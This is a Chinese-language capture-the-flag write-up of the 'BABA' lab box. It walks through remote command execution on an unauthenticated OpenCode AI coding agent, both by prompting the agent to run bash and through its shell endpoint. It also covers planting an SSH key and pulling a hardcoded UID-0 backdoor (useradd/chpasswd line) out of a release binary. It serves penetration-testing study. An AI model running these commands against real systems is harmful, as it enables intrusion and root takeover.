BABA Writeup by Sublarge

0x00 靶机信息

项目	内容
靶机 IP	172.21.79.162
主机名	BABA
系统	Debian GNU/Linux 13 (trixie), 内核 7.2.7-1-liquorix-amd64
作者	ll104567

来源：https://maze-sec.com

0x01 攻击链概览

```
nmap 发现 22/80/8080
        │
        ├─ 80  → Gitea "BABA Tools Mirror"(内部工具镜像,git 用户运行)
        │
        └─ 8080 → OpenCode(AI 编码助手)【无认证暴露】
                    │
                    ▼  POST /session/{id}/shell  直接命令执行
                初始立足点:jiemu
                    │
                    ▼  枚举 /etc/passwd
                发现隐藏 root 账户 beef-xss (UID 0)
                    │
                    ▼  doas / sudo / SUID / caps 全部死路(干扰项)
                下载 Gitea release 里的 doaswhat 二进制
                    │
                    ▼  strings 提取硬编码凭据
```

```
密码 IsDf5CmPIdvogq4NMotP
      │
      ▼  ssh beef-xss@target
    root
```

一句话:无认证的 AI Agent 给了初始 shell;提权凭据被硬编码在 Gitea 里一个看似人畜无害的枚举工具二进制中。

0x02 信息收集

端口扫描

```bash
nmap -p- --min-rate 3000 -T4 -Pn 172.21.79.162 -oN nmap/allports.txt
nmap -sV -sC -p 22,80,8080 -Pn 172.21.79.162 -oN nmap/services.txt
```

结果:

```
22/tcp   open  ssh
80/tcp   open  http        → Gitea 1.27.3 "BABA Tools Mirror"
8080/tcp open  http-proxy  → OpenCode (AI coding agent)
```

服务指纹

```bash
# 80: Gitea
curl -s http://172.21.79.162/api/v1/version
# {"version":"1.27.3"}
```

```
4
5 # 8080: OpenCode(标题即暴露身份)
6 curl -s -i http://172.21.79.162:8080/ | head -20
7 # <title>OpenCode</title>
```

Gitea 匿名枚举

```bash
1 curl -s "http://172.21.79.162/api/v1/repos/search?limit=100"   # 10 个仓库
2 curl -s "http://172.21.79.162/api/v1/users/search"             # 用户 baba, tools
3 curl -s "http://172.21.79.162/api/v1/orgs"                     # 组织 tools
```

仓库列表(9 个是上游工具 mirror,**只有 doaswhat 是自定义的**):

```
1 tools/Gf-Patterns              tools/PEASS-ng
2 tools/chisel                   tools/cupp
3 tools/dirsearch                tools/doaswhat          ← 自定义
4 tools/linux-exploit-suggester  tools/linux-smart-enumeration
5 tools/pspy                     tools/traitor
```

0x03 初始访问:OpenCode 无认证 RCE

侦察 OpenCode API

OpenCode 是 SPA,所有路径都返回 index.html,需要用真实 API 路由探测:

```bash
```

```
for p in /config /path /session /agent /provider /command /app; do
  echo "--- $p ---"; curl -s "http://172.21.79.162:8080$p" | head -c 300; echo
done
```

关键返回:

```bash
curl -s http://172.21.79.162:8080/path
# {"home":"/home/jiemu","worktree":"/home/jiemu/work",...}

curl -s http://172.21.79.162:8080/session
# 已存在会话:"privesc check"、"当前可用 skill 列表"
```

从已有会话的历史消息中可以读到:

- 运行用户 **jiemu**
- 内置 skill `linux-privesc-enum`(等于白送的提权清单)
- 默认 model:`opencode/big-pickle`,agent:`build`

获取命令执行

路径 A(LLM,慢且不稳):走 `/message`,让 agent 调用 bash 工具。

```bash
SID=$(curl -s -X POST http://172.21.79.162:8080/session \
  -H "Content-Type: application/json" -d '{"title":"env"}' \
  | python3 -c 'import sys,json;print(json.load(sys.stdin)["id"])')

curl -s -X POST "http://172.21.79.162:8080/session/$SID/message" \
  -H "Content-Type: application/json" -d '{
  "agent":"build",
  "model":{"providerID":"opencode","modelID":"big-pickle"},
```

```
  "parts":[{"type":"text","text":"Run this exact shell command with the bash tool and print raw output: id; hostname"}]
}'
```

路径 B(直接执行,推荐) —— `/session/{id}/shell` 端点不过 LLM,秒回:

```bash
curl -s -X POST "http://172.21.79.162:8080/session/$SID/shell" \
  -H "Content-Type: application/json" \
  -d '{"agent":"build","command":"id; hostname; pwd"}'
# {"parts":[{"type":"tool","tool":"bash","state":{"output":
#   "uid=1000(jiemu) gid=1000(jiemu) groups=1000(jiemu)\nBABA\n/home/jiemu/work\n",...}}]}
```

落地 SSH 公钥

```bash
# 攻击机生成密钥
ssh-keygen -t ed25519 -N "" -f ~/.ssh/id_ed25519

# 通过 shell 端点写入
curl -s -X POST "http://172.21.79.162:8080/session/$SID/shell" \
  -H "Content-Type: application/json" -d '{"agent":"build","command":
  "mkdir -p /home/jiemu/.ssh && chmod 700 /home/jiemu/.ssh && \
   printf \"%s\\n\" \"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFNvUvRHgcoIp2ktbuvT4jwJr5twmY2j7wZX7eVJ2DUu kali\" \
   > /home/jiemu/.ssh/authorized_keys && chmod 600 /home/jiemu/.ssh/authorized_keys"}'

# 验证
ssh -i ~/.ssh/id_ed25519 jiemu@172.21.79.162 'id'
# uid=1000(jiemu) ...
```

> “
>
> 登录时会看到靶机作者留下的 SSH banner(`/etc/issue`):
>
> ```
> T O O   L A T E .
> i was here before you. this box is mine. root is mine.
> i left something behind, and it is hiding in plain sight.
> you will stare right at it and never see it.
>                                     -- Daochunhan
> ```

User Flag

```bash
cat /home/jiemu/user.txt
# flag{user-78a1f6212345d17771217e7a94463980}
```

0x04 提权:beef-xss 隐藏 root 账户

常规枚举(全部死路)

```bash
sudo -n -l                          # sudo: a password is required
cat /etc/doas.conf                  # 只有注释,无任何规则
find / -perm -4000 -type f 2>/dev/null   # 全为标准 SUID
find / -perm -2000 -type f 2>/dev/null
getcap -r / 2>/dev/null             # 空
cat /etc/crontab; ls -la /etc/cron.d/ /var/spool/cron/crontabs/ # 干净
```

```
7 find / -writable -type d 2>/dev/null | grep -vE
  '^/(proc|sys|dev)'
```

用作者提供的 doaswhat 工具确认 doas 是死路:

```bash
1 cd /tmp
2 curl -sL -o doaswhat \
3   "http://172.21.79.162/tools/doaswhat/releases/download/v3.1-
  cfast/doaswhat"
4 chmod +x doaswhat && ./doaswhat
5 # [*] scanning 1290 executables, 2580 tests
6 # ! no commands allowed via doas
```

发现后门账户

```bash
1 cat /etc/passwd
```

```
1 root:x:0:0:root:/root:/bin/bash
2 jiemu:x:1000:1000::/home/jiemu:/bin/bash
3 beef-xss:x:0:0::/root:/bin/bash        ← UID 0!伪装成 Kali BeEF 服
  务账户
4 git:x:101:103::/home/git:/bin/bash
```

`beef-xss` 在正常 Kali 上是 BeEF 框架的服务账户,**UID 绝不会是 0**。这里 UID=0、家目录 `/root`、shell `/bin/bash` —— 这就是 banner 说的"藏在显眼处"的东西。

关键突破:二进制里的硬编码凭据

账户有了,密码没有。`/etc/shadow` 是 `640 root:shadow` 读不了;试了 `beef` / `beef-xss` / `kali` / `toor` 等常见密码全部失败。

转折点:`dpkg -V` 检查文件完整性时把思路引向"二进制可能被做手脚"。回头审视 Gitea —— **10 个仓库里只有 `doaswhat` 是自定义的**,且其 README 明确写着"内部镜像的构建产物见 *releases*"。

下载那个二进制并分析字符串:

```bash
curl -sL -o doaswhat.bin \
  "http://172.21.79.162/tools/doaswhat/releases/download/v3.1-cfast/doaswhat"

strings -n 5 doaswhat.bin | grep -iE "pass|beef|useradd|secret"
```

直接命中:

```
useradd -o -u 0 -g 0 -M -d /root -s /bin/bash beef-xss 2>/dev/null;\
echo 'beef-xss:IsDf5CmPIdvogq4NMotP'|chpasswd 2>/dev/null
```

密码:`IsDf5CmPIdvogq4NMotP`

登录并拿 root

```bash
sshpass -p 'IsDf5CmPIdvogq4NMotP' ssh \
  -o PreferredAuthentications=password -o PubkeyAuthentication=no \
  beef-xss@172.21.79.162 'id; cat /root/root.txt'
```

```
4 # uid=0(root) gid=0(root) groups=0(root)
5 # flag{root-fff464c9e846c4aae013afda223b1b43}
```

0x05 知识点

1. **AI Agent 无认证暴露 = 命令执行**

   OpenCode / Cursor / Continue 这类本地 AI coding agent 常以 `--hostname 0.0.0.0` 起 web 服务,且默认无鉴权。一旦暴露,它的 bash/read/write 工具就是攻击者的 RCE。

   - 除 `/session/{id}/message`(走 LLM,慢)外,优先找 `/session/{id}/shell` 这类**直接执行端点**。
   - `/path`、`/config`、`/agent`、`/provider` 会泄露运行用户、工作目录、模型配置。

2. **识别隐藏的 root 账户**

   `awk -F: '$3==0' /etc/passwd` 应只返回 root。任何额外的 UID 0 账户都是后门。伪装成知名服务名(beef-xss、nginx、mysql)是常见手法。

3. **凭据藏在二进制里**

   `strings` 是低成本高回报的手段。**自定义仓库 / 内部构建产物 / "见 releases 下载"这类提示,应当第一时间拉下来做字符串分析**,而不是先跑完标准提权清单。

4. **doas vs sudo**

   doas 是 OpenBSD 的 sudo 替代品,规则文件 `/etc/doas.conf`,支持 `include` 拆分配置。规则里可写绝对路径 / basename / 通配。

   - 本机 `doas.conf` 为空 → 任何命令都返回 `Operation not permitted`。
   - `doaswhat` 工具通过实际 fork 调用逐个探测 $PATH 下可执行文件,比手工读规则更可靠。

5. **完整性校验作为排查思路**

   `dpkg -V` / `rpm -Va` 列出与包数据库不符的文件。注意 `?` 表示"无法校验"(常因权限,而非篡改),别误判。它的价值在于**引导思路转向"文件被替换"**。

6. **/etc/issue 即 SSH banner**

   `Banner /etc/issue` + `PrintMotd no`,所以登录前就能看到作者留言。

0x06 复盘

我踩的坑

1. **OpenCode 走了 LLM 路径,浪费最多时间**

   一开始用 `/session/{id}/message`,先猜错 model(`deepinfra/GLM-5.3-Flash`)吃 500,换对 `opencode/big-pickle` 后能跑但慢、还会超时(HTTP 000)。

   教训:**先摸清 API 路由再动手**,`/session/{id}/shell` 才是正解。

2. **被 doas 这个精心设计的干扰项带偏**

   靶机的 skill、README、doaswhat 工具全在强调 doas,我认真跑了 2580 个测试,结论是 "no commands allowed"。doas 是幌子,doaswhat 只是**藏密码的载体**。

   教训:当所有线索都指向同一个方向时,先质疑线索本身是不是被投喂的。

3. **本地工具链噪音**

   zsh 的 `grep` / `ip` 被 shell snapshot 里的 function 污染(报 bun 的错误),Python 有 `_distutils_hack` 报错,helper 脚本还因 heredoc 与 pipe 抢 stdin 写坏过一次。纯环境问题,但吃掉好几轮。

4. **在 Gitea 漏洞方向空转**

   查了版本、issues、orgs、弱密码登录,一度想走"Gitea → git 用户"路线,发现无路才收手。

5. **最讽刺的**:beef-xss 第一轮枚举 `/etc/passwd` 就看到了,但没意识到密码在哪;密码一直躺在我反复翻阅的那个仓库的 release 里。

   banner 那句 *"you will stare right at it and never see it"* 是写给我的。

应该怎么做

1. 拿到任何"内部工具镜像 / 自定义构建产物"的线索,**立刻下载** + `strings` + `binwalk`,成本极低。
2. 枚举服务时,先看 API 路由表(`/openapi.json`、`/doc`、探测常见路径),再决定用哪个端点。
3. 把所有"引导性提示"(skill 文档、README 的"见 releases")当作**待验证的假设**,而不是路线图。
4. 发现异常账户后,聚焦"如何获得它的凭据",同时并行推进"二进制/配置/备份中找凭据"这条线。